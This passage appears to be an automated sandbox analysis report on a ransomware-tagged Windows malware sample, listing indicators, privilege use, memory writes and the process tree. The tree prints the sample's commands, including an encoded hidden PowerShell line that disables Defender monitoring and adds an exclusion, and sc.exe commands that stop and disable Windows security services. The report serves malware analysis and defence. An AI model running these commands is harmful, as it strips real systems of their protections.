pid Process 3196 chrome.exe 3196 chrome.exe 2588 powershell.exe 2588 powershell.exe 2588 powershell.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3196 chrome.exe Token: SeCreatePagefilePrivilege 3196 chrome.exe Token: SeIncreaseQuotaPrivilege 1948 WMIC.exe Token: SeSecurityPrivilege 1948 WMIC.exe Token: SeTakeOwnershipPrivilege 1948 WMIC.exe Token: SeLoadDriverPrivilege 1948 WMIC.exe Token: SeSystemProfilePrivilege 1948 WMIC.exe Token: SeSystemtimePrivilege 1948 WMIC.exe Token: SeProfSingleProcessPrivilege 1948 WMIC.exe Token: SeIncBasePriorityPrivilege 1948 WMIC.exe Token: SeCreatePagefilePrivilege 1948 WMIC.exe Token: SeBackupPrivilege 1948 WMIC.exe Token: SeRestorePrivilege 1948 WMIC.exe Token: SeShutdownPrivilege 1948 WMIC.exe Token: SeDebugPrivilege 1948 WMIC.exe Token: SeSystemEnvironmentPrivilege 1948 WMIC.exe Token: SeRemoteShutdownPrivilege 1948 WMIC.exe Token: SeUndockPrivilege 1948 WMIC.exe Token: SeManageVolumePrivilege 1948 WMIC.exe Token: 33 1948 WMIC.exe Token: 34 1948 WMIC.exe Token: 35 1948 WMIC.exe Token: 36 1948 WMIC.exe Token: SeBackupPrivilege 1992 vssvc.exe Token: SeRestorePrivilege 1992 vssvc.exe Token: SeAuditPrivilege 1992 vssvc.exe Token: SeIncreaseQuotaPrivilege 1948 WMIC.exe Token: SeSecurityPrivilege 1948 WMIC.exe Token: SeTakeOwnershipPrivilege 1948 WMIC.exe Token: SeLoadDriverPrivilege 1948 WMIC.exe Token: SeSystemProfilePrivilege 1948 WMIC.exe Token: SeSystemtimePrivilege 1948 WMIC.exe Token: SeProfSingleProcessPrivilege 1948 WMIC.exe Token: SeIncBasePriorityPrivilege 1948 WMIC.exe Token: SeCreatePagefilePrivilege 1948 WMIC.exe Token: SeBackupPrivilege 1948 WMIC.exe Token: SeRestorePrivilege 1948 WMIC.exe Token: SeShutdownPrivilege 1948 WMIC.exe Token: SeDebugPrivilege 1948 WMIC.exe Token: SeSystemEnvironmentPrivilege 1948 WMIC.exe Token: SeRemoteShutdownPrivilege 1948 WMIC.exe Token: SeUndockPrivilege 1948 WMIC.exe Token: SeManageVolumePrivilege 1948 WMIC.exe Token: 33 1948 WMIC.exe Token: 34 1948 WMIC.exe Token: 35 1948 WMIC.exe Token: 36 1948 WMIC.exe Token: SeDebugPrivilege 2588 powershell.exe Token: SeShutdownPrivilege 3196 chrome.exe Token: SeCreatePagefilePrivilege 3196 chrome.exe Token: SeShutdownPrivilege 3196 chrome.exe Token: SeCreatePagefilePrivilege 3196 chrome.exe Token: SeDebugPrivilege 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 3196 chrome.exe Token: SeCreatePagefilePrivilege 3196 chrome.exe Token: SeShutdownPrivilege 3196 chrome.exe Token: SeCreatePagefilePrivilege 3196 chrome.exe Token: SeIncBasePriorityPrivilege 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeDebugPrivilege 1224 whoami.exe Token: SeDebugPrivilege 5440 NETSTAT.EXE Token: SeDebugPrivilege 5168 tasklist.exe Token: SeIncreaseQuotaPrivilege 5584 WMIC.exe Token: SeSecurityPrivilege 5584 WMIC.exe Token: SeTakeOwnershipPrivilege 5584 WMIC.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe - Suspicious use of SendNotifyMessage 32 IoCs
pid Process 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe 3196 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 4100 wrote to memory of 3196 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 85 PID 3196 wrote to memory of 736 3196 chrome.exe 86 PID 4100 wrote to memory of 2588 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 87 PID 4100 wrote to memory of 4680 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 88 PID 4100 wrote to memory of 1940 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 90 PID 4100 wrote to memory of 716 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 92 PID 4100 wrote to memory of 1624 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 94 PID 4100 wrote to memory of 1864 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 96 PID 4100 wrote to memory of 3432 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 99 PID 4100 wrote to memory of 5040 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 101 PID 4100 wrote to memory of 5012 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 103 PID 4100 wrote to memory of 3924 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 104 PID 4100 wrote to memory of 4360 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 106 PID 3196 wrote to memory of 2732 3196 chrome.exe 107 PID 3196 wrote to memory of 2732 3196 chrome.exe 107 PID 3196 wrote to memory of 1956 3196 chrome.exe 108 PID 3196 wrote to memory of 3332 3196 chrome.exe 109 PID 3196 wrote to memory of 3332 3196 chrome.exe 109 PID 4100 wrote to memory of 4256 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 112 PID 3196 wrote to memory of 4572 3196 chrome.exe 113 PID 3196 wrote to memory of 4808 3196 chrome.exe 114 PID 3196 wrote to memory of 4572 3196 chrome.exe 113 PID 3196 wrote to memory of 4808 3196 chrome.exe 114 PID 4100 wrote to memory of 1540 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 116 PID 3196 wrote to memory of 4932 3196 chrome.exe 117 PID 3196 wrote to memory of 4932 3196 chrome.exe 117 PID 4100 wrote to memory of 1948 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 119 PID 3924 wrote to memory of 644 3924 fodhelper.exe 121 PID 3196 wrote to memory of 2892 3196 chrome.exe 123 PID 3196 wrote to memory of 2892 3196 chrome.exe 123 PID 4100 wrote to memory of 3296 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 127 PID 4100 wrote to memory of 6124 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 128 PID 4100 wrote to memory of 6116 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 130 PID 4100 wrote to memory of 628 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 135 PID 4100 wrote to memory of 2596 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 137 PID 4100 wrote to memory of 1096 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 138 PID 4100 wrote to memory of 2936 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 139 PID 4100 wrote to memory of 5340 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 140 PID 4100 wrote to memory of 5204 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 141 PID 4100 wrote to memory of 3736 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 142 PID 4100 wrote to memory of 1776 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 143 PID 4100 wrote to memory of 5388 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 148 PID 5204 wrote to memory of 1576 5204 cmd.exe 152 PID 2936 wrote to memory of 1224 2936 cmd.exe 153 PID 1096 wrote to memory of 5168 1096 cmd.exe 154 PID 628 wrote to memory of 5352 628 cmd.exe 155 PID 3736 wrote to memory of 5440 3736 cmd.exe 156 PID 5340 wrote to memory of 276 5340 cmd.exe 157 PID 2596 wrote to memory of 5568 2596 cmd.exe 158 PID 276 wrote to memory of 5768 276 net.exe 159 PID 628 wrote to memory of 5584 628 cmd.exe 160 PID 4100 wrote to memory of 5476 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 161 PID 3196 wrote to memory of 5660 3196 chrome.exe 162 PID 4100 wrote to memory of 6076 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 166 PID 4100 wrote to memory of 6020 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 168 PID 4100 wrote to memory of 6120 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 170 PID 4100 wrote to memory of 1520 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 172 PID 4100 wrote to memory of 6132 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 174 PID 4100 wrote to memory of 4220 4100 2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe 175 PID 6120 wrote to memory of 5292 6120 net.exe 178 PID 3196 wrote to memory of 5692 3196 chrome.exe 188 PID 3196 wrote to memory of 5712 3196 chrome.exe 189 PID 3196 wrote to memory of 5668 3196 chrome.exe 190 PID 3196 wrote to memory of 5712 3196 chrome.exe 200 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-08_702f5a10951f024f90410592f3181eab_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4100 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://guildprotocol.io2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3196 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff2a6cc728,0x7fff2a6cc734,0x7fff2a6cc7403⤵PID:736
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,3959524179139710325,14574775339260835107,262144 --field-trial-handle=2008,i,16286102491885153093,6991104953152373083,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2000 /prefetch:23⤵PID:2732
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2248,i,2192695945035206397,17828173380441108198,524288 --field-trial-handle=2008,i,16286102491885153093,6991104953152373083,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2252 /prefetch:33⤵
- System Time Discovery
PID:1956
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2372,i,701373273974470149,16019349437608503651,524288 --field-trial-handle=2008,i,16286102491885153093,6991104953152373083,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2384 /prefetch:83⤵PID:3332
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3124,i,13840411515984008445,10587429160619760014,2097152 --field-trial-handle=2008,i,16286102491885153093,6991104953152373083,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3152 /prefetch:13⤵PID:4572
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3136,i,17501536586391092470,1843891114215295229,2097152 --field-trial-handle=2008,i,16286102491885153093,6991104953152373083,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3188 /prefetch:13⤵PID:4808
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4216,i,7776950714692923766,7169560127027417981,2097152 --field-trial-handle=2008,i,16286102491885153093,6991104953152373083,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4408 /prefetch:23⤵PID:4932
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4676,i,16399465057178930776,14229121259325394998,2097152 --field-trial-handle=2008,i,16286102491885153093,6991104953152373083,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4692 /prefetch:13⤵PID:2892
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5348,i,3485243172963186862,6485032197117946759,524288 --field-trial-handle=2008,i,16286102491885153093,6991104953152373083,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5372 /prefetch:83⤵PID:5660
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5888,i,7221322962804599191,4328910975487543530,524288 --field-trial-handle=2008,i,16286102491885153093,6991104953152373083,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5864 /prefetch:83⤵PID:5692
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5900,i,17939408899971363499,4061134035948952054,524288 --field-trial-handle=2008,i,16286102491885153093,6991104953152373083,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5940 /prefetch:83⤵PID:5712
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5880,i,6336596557769415968,10465409134939050731,524288 --field-trial-handle=2008,i,16286102491885153093,6991104953152373083,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5832 /prefetch:83⤵PID:5668
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5940,i,4574859581123823598,12563370037933096003,262144 --field-trial-handle=2008,i,16286102491885153093,6991104953152373083,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5372 /prefetch:83⤵PID:5712
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2588
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4680
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:1940
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:716
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:1624
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:1864
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:3432
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:5040
-
-
